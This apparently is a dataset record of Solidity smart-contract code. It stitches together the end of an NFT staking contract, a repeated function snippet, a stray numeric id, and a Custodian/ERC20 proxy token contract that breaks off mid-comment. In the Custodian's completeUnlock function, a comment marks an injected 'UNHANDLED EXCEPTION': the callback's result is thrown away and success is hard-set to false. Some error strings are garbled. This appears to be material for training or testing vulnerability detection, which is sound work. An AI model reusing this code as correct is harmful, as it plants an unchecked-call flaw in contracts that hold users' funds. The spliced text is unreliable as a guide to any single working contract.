user._season1Nfts.at(index) ); // Add season1 reward if (pendingLockedRewards > 0) { lockedRewards = lockedRewards.add(pendingLockedRewards); } if (pendingUnlockedRewards > 0) { unlockedRewards = unlockedRewards.add(pendingUnlockedRewards); } ( pendingLockedRewards, pendingUnlockedRewards ) = getPairedSeason2Rewards(__account, user._season1Nfts.at(index)); // Add season2 reward if (pendingLockedRewards > 0) { lockedRewards = lockedRewards.add(pendingLockedRewards); } if (pendingUnlockedRewards > 0) { unlockedRewards = unlockedRewards.add(pendingUnlockedRewards); } } totalEarned = totalClaimed.add(lockedRewards).add(unlockedRewards); } /** * @notice Get season1 nfts */ function viewSeason1Nfts(address __account) external view returns (uint256[] memory season1Nfts, bool[] memory lockStats) { UserInfo storage user = _userInfo[__account]; uint256 countSeason1Nfts = user._season1Nfts.length(); season1Nfts = new uint256[](countSeason1Nfts); lockStats = new bool[](countSeason1Nfts); uint256 index; uint256 tokenId; for (index = 0; index < countSeason1Nfts; index++) { tokenId = user._season1Nfts.at(index); season1Nfts[index] = tokenId; lockStats[index] = user._season1StakeInfos[tokenId]._isLocked; } } /** * @notice Get season2 nfts */ function viewSeason2Nfts(address __account) external view returns (uint256[] memory season2Nfts, bool[] memory lockStats) { UserInfo storage user = _userInfo[__account]; uint256 countSeason2Nfts = user._season2Nfts.length(); season2Nfts = new uint256[](countSeason2Nfts); lockStats = new bool[](countSeason2Nfts); uint256 index; uint256 tokenId; for (index = 0; index < countSeason2Nfts; index++) { tokenId = user._season2Nfts.at(index); season2Nfts[index] = tokenId; lockStats[index] = user._season2StakeInfos[tokenId]._isLocked; } } /** * @notice Get paired season1 / season2 nfts */ function viewPairedNfts(address __account) external view returns ( uint256[] memory pairedSeason1Nfts, uint256[] memory pairedSeason2Nfts ) { UserInfo storage user = _userInfo[__account]; uint256 pairCount = user._pairCount; pairedSeason1Nfts = new uint256[](pairCount); pairedSeason2Nfts = new uint256[](pairCount); uint256 index; uint256 tokenId; uint256 rindex = 0; uint256 season2NftCount = user._season2Nfts.length(); for (index = 0; index < season2NftCount; index++) { tokenId = user._season2Nfts.at(index); if (user._season2StakeInfos[tokenId]._pairedTokenId == 0) { continue; } pairedSeason1Nfts[rindex] = user ._season2StakeInfos[tokenId] ._pairedTokenId; pairedSeason2Nfts[rindex] = tokenId; rindex = rindex.add(1); } } // Verify that a given leaf is in the tree. function isWhiteListedSeason1(bytes32 _leafNode, bytes32[] memory _proof) public view returns (bool) { return MerkleProof.verify(_proof, SEASON1_MERKLE_ROOT, _leafNode); } function isWhiteListedSeason2(bytes32 _leafNode, bytes32[] memory _proof) public view returns (bool) { return MerkleProof.verify(_proof, SEASON2_MERKLE_ROOT, _leafNode); } // Generate the leaf node (just the hash of tokenID concatenated with the account address) function toLeaf( uint256 tokenID, uint256 index, uint256 amount ) public pure returns (bytes32) { return keccak256(abi.encodePacked(index, tokenID, amount)); } function setMerkleRoot(bytes32 _season1Root, bytes32 _season2Root) external onlyOwner { SEASON1_MERKLE_ROOT = _season1Root; SEASON2_MERKLE_ROOT = _season2Root; } function updateFeeValues(uint16 __unstakeFee, uint16 __forcedUnstakeFee) external onlyOwner { _unstakeFee = __unstakeFee; _forcedUnstakeFee = __forcedUnstakeFee; } function updateLockPeriod(uint256 __lockPeriod) external onlyOwner { require(__lockPeriod > 0, "Invalid lock period"); _lockPeriod = __lockPeriod; } function updateSeason1BaseRpd(Rarity __rarity, uint256 __rpd) external onlyOwner { require(__rpd > 0, "Non zero values required"); _season1BaseRpds[__rarity] = __rpd; } function updateSeason1LockedExtraPercent( Rarity __rarity, uint16 __lockedExtraPercent ) external onlyOwner { _season1LockedExtras[__rarity] = __lockedExtraPercent; } function updateSeason2ExtraPercent( Rarity __rarity, StakeType __stakeType, uint16 __extraPercent ) external onlyOwner { _season2Extras[__rarity][__stakeType] = __extraPercent; } function isStaked(address __account, uint256 __tokenId) external view returns (bool) { UserInfo storage user = _userInfo[__account]; return user._season1Nfts.contains(__tokenId) || user._season2Nfts.contains(__tokenId); } /** * @notice Claim rewards */ function claimRewards() external { UserInfo storage user = _userInfo[_msgSender()]; (, , , uint256 unlockedRewards) = viewProfit(_msgSender()); if (unlockedRewards > 0) { uint256 feeAmount = unlockedRewards.mul(_unstakeFee).div(10000); if (feeAmount > 0) { IERC20(_rewardToken).safeTransfer(DEAD, feeAmount); unlockedRewards = unlockedRewards.sub(feeAmount); } if (unlockedRewards > 0) { user._totalClaimed = user._totalClaimed.add(unlockedRewards); IERC20(_rewardToken).safeTransfer(_msgSender(), unlockedRewards); } } user._lastClaimedAt = block.timestamp; } /** * @notice Stake season1 nft */ function stakeSeason1( bool __lockedStaking, uint256[] calldata __tokenIDList, uint256[] calldata __indexList, uint256[] calldata __rarityList, bytes32[][] calldata __proofList ) external nonReentrant whenNotPaused { require( IERC721(_season1Nft).isApprovedForAll(_msgSender(), address(this)), "Not approve nft to staker address" ); UserInfo storage user = _userInfo[_msgSender()]; for (uint256 i = 0; i < __tokenIDList.length; i++) { // Check if the params are correct require( isWhiteListedSeason1( toLeaf(__tokenIDList[i], __indexList[i], __rarityList[i]), __proofList[i] ), "Invalid params" ); IERC721(_season1Nft).safeTransferFrom( _msgSender(), address(this), __tokenIDList[i] ); user._season1Nfts.add(__tokenIDList[i]); user._season1StakeInfos[__tokenIDList[i]] = NftStakeInfo({ _rarity: Rarity(__rarityList[i]), _isLocked: __lockedStaking, _stakedAt: block.timestamp, _pairedTokenId: 0 }); emit Staked(_msgSender(), __tokenIDList[i], true, __lockedStaking); } } /** * @notice Stake season2 nft */ function stakeSeason2( bool __lockedStaking, uint256[] calldata __tokenIDList, uint256[] calldata __indexList, uint256[] calldata __rarityList, bytes32[][] calldata __proofList ) external nonReentrant whenNotPaused { require( IERC721(_season2Nft).isApprovedForAll(_msgSender(), address(this)), "Not approve nft to staker address" ); UserInfo storage user = _userInfo[_msgSender()]; for (uint256 i = 0; i < __tokenIDList.length; i++) { // Check if the params are correct require( isWhiteListedSeason2( toLeaf(__tokenIDList[i], __indexList[i], __rarityList[i]), __proofList[i] ), "Invalid params" ); IERC721(_season2Nft).safeTransferFrom( _msgSender(), address(this), __tokenIDList[i] ); user._season2Nfts.add(__tokenIDList[i]); user._season2StakeInfos[__tokenIDList[i]] = NftStakeInfo({ _rarity: Rarity(__rarityList[i]), _isLocked: __lockedStaking, _stakedAt: block.timestamp, _pairedTokenId: 0 }); emit Staked(_msgSender(), __tokenIDList[i], false, __lockedStaking); } } function unstakeSeason1(uint256[] calldata __tokenIDList) external nonReentrant { UserInfo storage user = _userInfo[_msgSender()]; for (uint256 i = 0; i < __tokenIDList.length; i++) { require( user._season1Nfts.contains(__tokenIDList[i]), "Not staked one of nfts" ); IERC721(_season1Nft).safeTransferFrom( address(this), _msgSender(), __tokenIDList[i] ); // locked rewards are sent to rewards back to the pool // unlocked rewards are added to the user rewards (, uint256 unlockedRewards) = getSeason1Rewards( _msgSender(), __tokenIDList[i] ); user._pending = user._pending.add(unlockedRewards); user._season1Nfts.remove(__tokenIDList[i]); // If it was paired with a season2 nft, unpair them uint256 pairedTokenId = user ._season1StakeInfos[__tokenIDList[i]] ._pairedTokenId; if (pairedTokenId > 0) { user._season2StakeInfos[pairedTokenId]._pairedTokenId = 0; user._pairCount = user._pairCount.sub(1); } delete user._season1StakeInfos[__tokenIDList[i]]; emit Unstaked(_msgSender(), __tokenIDList[i], true); } } function unstakeSeason2(uint256[] calldata __tokenIDList) external nonReentrant { UserInfo storage user = _userInfo[_msgSender()]; for (uint256 i = 0; i < __tokenIDList.length; i++) { require( user._season2Nfts.contains(__tokenIDList[i]), "Not staked one of nfts" ); IERC721(_season2Nft).safeTransferFrom( address(this), _msgSender(), __tokenIDList[i] ); // If it was paired with a season1 nft, unpair them uint256 pairedTokenId = user ._season2StakeInfos[__tokenIDList[i]] ._pairedTokenId; if (pairedTokenId > 0) { // locked rewards are sent to rewards back to the pool // unlocked rewards are added to the user rewards (, uint256 unlockedRewards) = getPairedSeason2Rewards( _msgSender(), pairedTokenId ); user._pending = user._pending.add(unlockedRewards); } user._season2Nfts.remove(__tokenIDList[i]); if (pairedTokenId > 0) { user._season1StakeInfos[pairedTokenId]._pairedTokenId = 0; user._pairCount = user._pairCount.sub(1); } delete user._season2StakeInfos[__tokenIDList[i]]; emit Unstaked(_msgSender(), __tokenIDList[i], false); } } /** * @notice Lock season1 nft from the unlocked pool to the lock pool */ function lockSeason1Nfts(uint256[] calldata __tokenIDList) external onlyOwner { UserInfo storage user = _userInfo[_msgSender()]; for (uint256 i = 0; i < __tokenIDList.length; i++) { // Check if the params are correct require( user._season1Nfts.contains(__tokenIDList[i]), "One of nfts not staked yet" ); require( !user._season1StakeInfos[__tokenIDList[i]]._isLocked, "Locked already" ); (, uint256 unlockedRewards) = getSeason1Rewards( _msgSender(), __tokenIDList[i] ); user._pending = user._pending.add(unlockedRewards); user._season1StakeInfos[__tokenIDList[i]]._isLocked = true; user._season1StakeInfos[__tokenIDList[i]]._stakedAt = block .timestamp; emit Locked(_msgSender(), __tokenIDList[i], true); } } /** * @notice Lock season2 nft from the unlocked pool to the lock pool */ function lockSeason2Nfts(uint256[] calldata __tokenIDList) external onlyOwner { UserInfo storage user = _userInfo[_msgSender()]; for (uint256 i = 0; i < __tokenIDList.length; i++) { // Check if the params are correct require( user._season2Nfts.contains(__tokenIDList[i]), "One of nfts not staked yet" ); require( !user._season2StakeInfos[__tokenIDList[i]]._isLocked, "Locked already" ); uint256 pairedTokenId = user ._season2StakeInfos[__tokenIDList[i]] ._pairedTokenId; if (pairedTokenId > 0) { (, uint256 unlockedRewards) = getPairedSeason2Rewards( _msgSender(), pairedTokenId ); user._pending = user._pending.add(unlockedRewards); } user._season2StakeInfos[__tokenIDList[i]]._isLocked = true; user._season2StakeInfos[__tokenIDList[i]]._stakedAt = block .timestamp; emit Locked(_msgSender(), __tokenIDList[i], false); } } /** * @notice */ function pairNfts(uint256 __season1TokenID, uint256 __season2TokenID) external nonReentrant whenNotPaused { UserInfo storage user = _userInfo[_msgSender()]; require( user._season1Nfts.contains(__season1TokenID) && user._season2Nfts.contains(__season2TokenID), "One of nfts is not staked" ); require( user._season1StakeInfos[__season1TokenID]._pairedTokenId == 0 && user._season2StakeInfos[__season2TokenID]._pairedTokenId == 0, "Already paired" ); user ._season1StakeInfos[__season1TokenID] ._pairedTokenId = __season2TokenID; user ._season2StakeInfos[__season2TokenID] ._pairedTokenId = __season1TokenID; user._season2StakeInfos[__season2TokenID]._stakedAt = block.timestamp; user._pairCount = user._pairCount.add(1); emit Paired(_msgSender(), __season1TokenID, __season2TokenID); } function safeRewardTransfer(address __to, uint256 __amount) internal returns (uint256) { uint256 balance = IERC20(_rewardToken).balanceOf(address(this)); if (balance >= __amount) { IERC20(_rewardToken).safeTransfer(__to, __amount); return __amount; } if (balance > 0) { IERC20(_rewardToken).safeTransfer(__to, balance); } emit InsufficientRewardToken(__to, __amount, balance); return balance; } function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } }
Get season2 nfts/
function viewSeason2Nfts(address __account) external view returns (uint256[] memory season2Nfts, bool[] memory lockStats) { UserInfo storage user = _userInfo[__account]; uint256 countSeason2Nfts = user._season2Nfts.length(); season2Nfts = new uint256[](countSeason2Nfts); lockStats = new bool[](countSeason2Nfts); uint256 index; uint256 tokenId; for (index = 0; index < countSeason2Nfts; index++) { tokenId = user._season2Nfts.at(index); season2Nfts[index] = tokenId; lockStats[index] = user._season2StakeInfos[tokenId]._isLocked; } }
6,499,352
pragma solidity ^0.5.10; /** @title A contract for generating unique identifiers * * @notice A contract that provides an identifier generation scheme, * guaranteeing uniqueness across all contracts that inherit from it, * as well as the unpredictability of future identifiers. * * @dev This contract is intended to be inherited by any contract that * implements the callback software pattern for cooperative custodianship. * */ contract LockRequestable { // MEMBERS /// @notice the count of all invocations of `generateLockId`. uint256 public lockRequestCount; // CONSTRUCTOR constructor() public { lockRequestCount = 0; } // FUNCTIONS /** @notice Returns a fresh unique identifier. * * @dev the generation scheme uses three components. * First, the blockhash of the previous block. * Second, the deployed address. * Third, the next value of the counter. * This ensures that identifiers are unique across all contracts * following this scheme, and that future identifiers are * unpredictable. * * @return a 32-byte unique identifier. */ function generateLockId() internal returns (bytes32 lockId) { return keccak256(abi.encodePacked(blockhash(block.number - 1), address(this), ++lockRequestCount)); } } contract ERC20Interface { // METHODS // NOTE: // public getter functions are not currently recognised as an // implementation of the matching abstract function by the compiler. // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#name // function name() public view returns (string); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#symbol // function symbol() public view returns (string); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply // function decimals() public view returns (uint8); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply function totalSupply() public view returns (uint256); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#balanceof function balanceOf(address _owner) public view returns (uint256 balance); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer function transfer(address _to, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transferfrom function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve function approve(address _spender, uint256 _value) public returns (bool success); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#allowance function allowance(address _owner, address _spender) public view returns (uint256 remaining); // EVENTS // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 event Transfer(address indexed _from, address indexed _to, uint256 _value); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approval event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** @title A dual control contract. * * @notice A general-purpose contract that implements dual control over * co-operating contracts through a callback mechanism. * * @dev This contract implements dual control through a 2-of-N * threshold multi-signature scheme. The contract recognizes a set of N signers, * and will unlock requests with signatures from any distinct pair of them. * This contract signals the unlocking through a co-operative callback * scheme. * This contract also provides time lock and revocation features. * Requests made by a 'primary' account have a default time lock applied. * All other requests must pay a 1 ETH stake and have an extended time lock * applied. * A request that is completed will prevent all previous pending requests * that share the same callback from being completed: this is the * revocation feature. * */ contract Custodian { // TYPES /** @dev The `Request` struct stores a pending unlocking. * `callbackAddress` and `callbackSelector` are the data required to * make a callback. The custodian completes the process by * calling `callbackAddress.call(callbackSelector, lockId)`, which * signals to the contract co-operating with the Custodian that * the 2-of-N signatures have been provided and verified. */ struct Request { bytes32 lockId; bytes4 callbackSelector; // bytes4 and address can be packed into 1 word address callbackAddress; uint256 idx; uint256 timestamp; bool extended; } // EVENTS /// @dev Emitted by successful `requestUnlock` calls. event Requested( bytes32 _lockId, address _callbackAddress, bytes4 _callbackSelector, uint256 _nonce, address _whitelistedAddress, bytes32 _requestMsgHash, uint256 _timeLockExpiry ); /// @dev Emitted by `completeUnlock` calls on requests in the time-locked state. event TimeLocked( uint256 _timeLockExpiry, bytes32 _requestMsgHash ); /// @dev Emitted by successful `completeUnlock` calls. event Completed( bytes32 _lockId, bytes32 _requestMsgHash, address _signer1, address _signer2 ); /// @dev Emitted by `completeUnlock` calls where the callback failed. event Failed( bytes32 _lockId, bytes32 _requestMsgHash, address _signer1, address _signer2 ); /// @dev Emitted by successful `extendRequestTimeLock` calls. event TimeLockExtended( uint256 _timeLockExpiry, bytes32 _requestMsgHash ); // MEMBERS /** @dev The count of all requests. * This value is used as a nonce, incorporated into the request hash. */ uint256 public requestCount; /// @dev The set of signers: signatures from two signers unlock a pending request. mapping (address => bool) public signerSet; /// @dev The map of request hashes to pending requests. mapping (bytes32 => Request) public requestMap; /// @dev The map of callback addresses to callback selectors to request indexes. mapping (address => mapping (bytes4 => uint256)) public lastCompletedIdxs; /** @dev The default period (in seconds) to time-lock requests. * All requests will be subject to this default time lock, and the duration * is fixed at contract creation. */ uint256 public defaultTimeLock; /** @dev The extended period (in seconds) to time-lock requests. * Requests not from the primary account are subject to this time lock. * The primary account may also elect to extend the time lock on requests * that originally received the default. */ uint256 public extendedTimeLock; /// @dev The primary account is the privileged account for making requests. address public primary; // CONSTRUCTOR constructor( address[] memory _signers, uint256 _defaultTimeLock, uint256 _extendedTimeLock, address _primary ) public { // check for at least two `_signers` require(_signers.length >= 2, "at least two `_signers`"); // validate time lock params require(_defaultTimeLock <= _extendedTimeLock, "valid timelock params"); defaultTimeLock = _defaultTimeLock; extendedTimeLock = _extendedTimeLock; primary = _primary; // explicitly initialize `requestCount` to zero requestCount = 0; // turn the array into a set for (uint i = 0; i < _signers.length; i++) { // no zero addresses or duplicates require(_signers[i] != address(0) && !signerSet[_signers[i]], "no zero addresses or duplicates"); signerSet[_signers[i]] = true; } } // MODIFIERS modifier onlyPrimary { require(msg.sender == primary, "only primary"); _; } modifier onlySigner { require(signerSet[msg.sender], "only signer"); _; } // METHODS /** @notice Requests an unlocking with a lock identifier and a callback. * * @dev If called by an account other than the primary a 1 ETH stake * must be paid. When the request is unlocked stake will be transferred to the message sender. * This is an anti-spam measure. As well as the callback * and the lock identifier parameters a 'whitelisted address' is required * for compatibility with existing signature schemes. * * @param _lockId The identifier of a pending request in a co-operating contract. * @param _callbackAddress The address of a co-operating contract. * @param _callbackSelector The function selector of a function within * the co-operating contract at address `_callbackAddress`. * @param _whitelistedAddress An address whitelisted in existing * offline control protocols. * * @return requestMsgHash The hash of a request message to be signed. */ function requestUnlock( bytes32 _lockId, address _callbackAddress, bytes4 _callbackSelector, address _whitelistedAddress ) public payable returns (bytes32 requestMsgHash) { require(msg.sender == primary || msg.value >= 1 ether, "sender is primary or stake is paid"); // disallow using a zero value for the callback address require(_callbackAddress != address(0), "no zero value for callback address"); uint256 requestIdx = ++requestCount; // compute a nonce value // - the blockhash prevents prediction of future nonces // - the address of this contract prevents conflicts with co-operating contracts using this scheme // - the counter prevents conflicts arising from multiple txs within the same block uint256 nonce = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), address(this), requestIdx))); requestMsgHash = keccak256( abi.encodePacked( nonce, _whitelistedAddress, uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) ) ); requestMap[requestMsgHash] = Request({ lockId: _lockId, callbackSelector: _callbackSelector, callbackAddress: _callbackAddress, idx: requestIdx, timestamp: block.timestamp, extended: false }); // compute the expiry time uint256 timeLockExpiry = block.timestamp; if (msg.sender == primary) { timeLockExpiry += defaultTimeLock; } else { timeLockExpiry += extendedTimeLock; // any sender that is not the creator will get the extended time lock requestMap[requestMsgHash].extended = true; } emit Requested(_lockId, _callbackAddress, _callbackSelector, nonce, _whitelistedAddress, requestMsgHash, timeLockExpiry); } /** @notice Completes a pending unlocking with two signatures. * * @dev Given a request message hash as two signatures of it from * two distinct signers in the signer set, this function completes the * unlocking of the pending request by executing the callback. * * @param _requestMsgHash The request message hash of a pending request. * @param _recoveryByte1 The public key recovery byte (27 or 28) * @param _ecdsaR1 The R component of an ECDSA signature (R, S) pair * @param _ecdsaS1 The S component of an ECDSA signature (R, S) pair * @param _recoveryByte2 The public key recovery byte (27 or 28) * @param _ecdsaR2 The R component of an ECDSA signature (R, S) pair * @param _ecdsaS2 The S component of an ECDSA signature (R, S) pair * * @return success True if the callback successfully executed. */ function completeUnlock( bytes32 _requestMsgHash, uint8 _recoveryByte1, bytes32 _ecdsaR1, bytes32 _ecdsaS1, uint8 _recoveryByte2, bytes32 _ecdsaR2, bytes32 _ecdsaS2 ) public onlySigner returns (bool success) { Request storage request = requestMap[_requestMsgHash]; // copy storage to locals before `delete` bytes32 lockId = request.lockId; address callbackAddress = request.callbackAddress; bytes4 callbackSelector = request.callbackSelector; // failing case of the lookup if the callback address is zero require(callbackAddress != address(0), "no zero value for callback address"); // reject confirms of earlier withdrawals buried under later confirmed withdrawals require(request.idx > lastCompletedIdxs[callbackAddress][callbackSelector], "reject confirms of earlier withdrawals buried under later confirmed withdrawals"); address signer1 = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _requestMsgHash)), _recoveryByte1, _ecdsaR1, _ecdsaS1 ); require(signerSet[signer1], "signer is set"); address signer2 = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _requestMsgHash)), _recoveryByte2, _ecdsaR2, _ecdsaS2 ); require(signerSet[signer2], "signer is set"); require(signer1 != signer2, "signers are different"); if (request.extended && ((block.timestamp - request.timestamp) < extendedTimeLock)) { emit TimeLocked(request.timestamp + extendedTimeLock, _requestMsgHash); return false; } else if ((block.timestamp - request.timestamp) < defaultTimeLock) { emit TimeLocked(request.timestamp + defaultTimeLock, _requestMsgHash); return false; } else { if (address(this).balance > 0) { // reward sender with anti-spam payments msg.sender.transfer(address(this).balance); } // raise the waterline for the last completed unlocking lastCompletedIdxs[callbackAddress][callbackSelector] = request.idx; // and delete the request delete requestMap[_requestMsgHash]; // invoke callback (success,) = (false, bytes(msg.data)); callbackAddress.call(abi.encodeWithSelector(callbackSelector, lockId)); //inject UNHANDLED EXCEPTION if (success) { emit Completed(lockId, _requestMsgHash, signer1, signer2); } else { emit Failed(lockId, _requestMsgHash, signer1, signer2); } } } /** @notice Reclaim the storage of a pending request that is uncompletable. * * @dev If a pending request shares the callback (address and selector) of * a later request has been completed, then the request can no longer * be completed. This function will reclaim the contract storage of the * pending request. * * @param _requestMsgHash The request message hash of a pending request. */ function deleteUncompletableRequest(bytes32 _requestMsgHash) public { Request storage request = requestMap[_requestMsgHash]; uint256 idx = request.idx; require(0 < idx && idx < lastCompletedIdxs[request.callbackAddress][request.callbackSelector], "there must be a completed latter request with same callback"); delete requestMap[_requestMsgHash]; } /** @notice Extend the time lock of a pending request. * * @dev Requests made by the primary account receive the default time lock. * This function allows the primary account to apply the extended time lock * to one its own requests. * * @param _requestMsgHash The request message hash of a pending request. */ function extendRequestTimeLock(bytes32 _requestMsgHash) public onlyPrimary { Request storage request = requestMap[_requestMsgHash]; // reject 1null1 results from the map lookup // this can only be the case if an unknown `_requestMsgHash` is received require(request.callbackAddress != address(0), "reject 1null1 results from the map lookup"); // `extendRequestTimeLock` must be idempotent require(request.extended != true, "`extendRequestTimeLock` must be idempotent"); // set the `extended` flag; note that this is never unset request.extended = true; emit TimeLockExtended(request.timestamp + extendedTimeLock, _requestMsgHash); } } /** @title A contract to inherit upgradeable custodianship. * * @notice A contract that provides re-usable code for upgradeable * custodianship. That custodian may be an account or another contract. * * @dev This contract is intended to be inherited by any contract * requiring a custodian to control some aspect of its functionality. * This contract provides the mechanism for that custodianship to be * passed from one custodian to the next. * */ contract CustodianUpgradeable is LockRequestable { // TYPES /// @dev The struct type for pending custodian changes. struct CustodianChangeRequest { address proposedNew; } // MEMBERS /// @dev The address of the account or contract that acts as the custodian. address public custodian; /// @dev The map of lock ids to pending custodian changes. mapping (bytes32 => CustodianChangeRequest) public custodianChangeReqs; // CONSTRUCTOR constructor( address _custodian ) LockRequestable() public { custodian = _custodian; } // MODIFIERS modifier onlyCustodian { require(msg.sender == custodian, "only custodian"); _; } // PUBLIC FUNCTIONS // (UPGRADE) /** @notice Requests a change of the custodian associated with this contract. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * * @param _proposedCustodian The address of the new custodian. * @return lockId A unique identifier for this request. */ function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) { require(_proposedCustodian != address(0), "no null value for `_proposedCustodian`"); lockId = generateLockId(); custodianChangeReqs[lockId] = CustodianChangeRequest({ proposedNew: _proposedCustodian }); emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian); } /** @notice Confirms a pending change of the custodian associated with this contract. * * @dev When called by the current custodian with a lock id associated with a * pending custodian change, the `address custodian` member will be updated with the * requested address. * * @param _lockId The identifier of a pending change request. */ function confirmCustodianChange(bytes32 _lockId) public onlyCustodian { custodian = getCustodianChangeReq(_lockId); delete custodianChangeReqs[_lockId]; emit CustodianChangeConfirmed(_lockId, custodian); } // PRIVATE FUNCTIONS function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) { CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId]; // reject 1null1 results from the map lookup // this can only be the case if an unknown `_lockId` is received require(changeRequest.proposedNew != address(0), "reject 1null1 results from the map lookup"); return changeRequest.proposedNew; } //EVENTS /// @dev Emitted by successful `requestCustodianChange` calls. event CustodianChangeRequested( bytes32 _lockId, address _msgSender, address _proposedCustodian ); /// @dev Emitted by successful `confirmCustodianChange` calls. event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian); } /** @title A contract to inherit upgradeable token implementations. * * @notice A contract that provides re-usable code for upgradeable * token implementations. It itself inherits from `CustodianUpgradable` * as the upgrade process is controlled by the custodian. * * @dev This contract is intended to be inherited by any contract * requiring a reference to the active token implementation, either * to delegate calls to it, or authorize calls from it. This contract * provides the mechanism for that implementation to be replaced, * which constitutes an implementation upgrade. * */ contract ERC20ImplUpgradeable is CustodianUpgradeable { // TYPES /// @dev The struct type for pending implementation changes. struct ImplChangeRequest { address proposedNew; } // MEMBERS // @dev The reference to the active token implementation. ERC20Impl public erc20Impl; /// @dev The map of lock ids to pending implementation changes. mapping (bytes32 => ImplChangeRequest) public implChangeReqs; // CONSTRUCTOR constructor(address _custodian) CustodianUpgradeable(_custodian) public { erc20Impl = ERC20Impl(0x0); } // MODIFIERS modifier onlyImpl { require(msg.sender == address(erc20Impl), "only ERC20Impl"); _; } // PUBLIC FUNCTIONS // (UPGRADE) /** @notice Requests a change of the active implementation associated * with this contract. * * @dev Returns a unique lock id associated with the request. * Anyone can call this function, but confirming the request is authorized * by the custodian. * * @param _proposedImpl The address of the new active implementation. * @return lockId A unique identifier for this request. */ function requestImplChange(address _proposedImpl) public returns (bytes32 lockId) { require(_proposedImpl != address(0), "no null value for `_proposedImpl`"); lockId = generateLockId(); implChangeReqs[lockId] = ImplChangeRequest({ proposedNew: _proposedImpl }); emit ImplChangeRequested(lockId, msg.sender, _proposedImpl); } /** @notice Confirms a pending change of the active implementation * associated with this contract. * * @dev When called by the custodian with a lock id associated with a * pending change, the `ERC20Impl erc20Impl` member will be updated * with the requested address. * * @param _lockId The identifier of a pending change request. */ function confirmImplChange(bytes32 _lockId) public onlyCustodian { erc20Impl = getImplChangeReq(_lockId); delete implChangeReqs[_lockId]; emit ImplChangeConfirmed(_lockId, address(erc20Impl)); } // PRIVATE FUNCTIONS function getImplChangeReq(bytes32 _lockId) private view returns (ERC20Impl _proposedNew) { ImplChangeRequest storage changeRequest = implChangeReqs[_lockId]; // reject 1null1 results from the map lookup // this can only be the case if an unknown `_lockId` is received require(changeRequest.proposedNew != address(0), "reject 1null1 results from the map lookup"); return ERC20Impl(changeRequest.proposedNew); } //EVENTS /// @dev Emitted by successful `requestImplChange` calls. event ImplChangeRequested( bytes32 _lockId, address _msgSender, address _proposedImpl ); /// @dev Emitted by successful `confirmImplChange` calls. event ImplChangeConfirmed(bytes32 _lockId, address _newImpl); } /** @title Public interface to ERC20 compliant token. * * @notice This contract is a permanent entry point to an ERC20 compliant * system of contracts. * * @dev This contract contains no business logic and instead * delegates to an instance of ERC20Impl. This contract also has no storage * that constitutes the operational state of the token. This contract is * upgradeable in the sense that the `custodian` can update the * `erc20Impl` address, thus redirecting the delegation of business logic. * The `custodian` is also authorized to pass custodianship. * */ contract ERC20Proxy is ERC20Interface, ERC20ImplUpgradeable { // MEMBERS /// @notice Returns the name of the token. string public name; /// @notice Returns the symbol of the token. string public symbol; /// @notice Returns the number of decimals the token uses. uint8 public decimals; // CONSTRUCTOR constructor( string memory _name, string memory _symbol, uint8 _decimals, address _custodian ) ERC20ImplUpgradeable(_custodian) public { name = _name; symbol = _symbol; decimals = _decimals; } // PUBLIC FUNCTIONS // (ERC20Interface) /** @notice Returns the total token supply. * * @return the total token supply. */ function totalSupply() public view returns (uint256) { return erc20Impl.totalSupply(); } /** @notice Returns the account balance of another account with an address * `_owner`. * * @return balance the balance of account with address `_owner`. */ function balanceOf(address _owner) public view returns (uint256 balance) { return erc20Impl.balanceOf(_owner); } /** @dev Internal use only. */ function emitTransfer(address _from, address _to, uint256 _value) public onlyImpl { emit Transfer(_from, _to, _value); } /** @notice Transfers `_value` amount of tokens to address `_to`. * * @dev Will fire the `Transfer` event. Will revert if the `_from` * account balance does not have enough tokens to spend. * * @return success true if transfer completes. */ function transfer(address _to, uint256 _value) public returns (bool success) { return erc20Impl.transferWithSender(msg.sender, _to, _value); } /** @notice Transfers `_value` amount of tokens from address `_from` * to address `_to`. * * @dev Will fire the `Transfer` event. Will revert unless the `_from` * account has deliberately authorized the sender of the message * via some mechanism. * * @return success true if transfer completes. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { return erc20Impl.transferFromWithSender(msg.sender, _from, _to, _value); } /** @dev Internal use only. */ function emitApproval(address _owner, address _spender, uint256 _value) public onlyImpl { emit Approval(_owner, _spender, _value); } /** @notice Allows `_spender` to withdraw from your account multiple times, * up to the `_value` amount. If this function is called again it * overwrites the current allowance with _value. * * @dev Will fire the `Approval` event. * * @return success true if approval completes. */ function approve(address _spender, uint256 _value) public returns (bool success) { return erc20Impl.approveWithSender(msg.sender, _spender, _value); } /** @notice Increases the amount `_spender` is allowed to withdraw from * your account. * This function is implemented to avoid the race condition in standard * ERC20 contracts surrounding the `approve` method. * * @dev Will fire the `Approval` event. This function should be used instead of * `approve`. * * @return success true if approval completes. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { return erc20Impl.increaseApprovalWithSender(msg.sender, _spender, _addedValue); } /** @notice 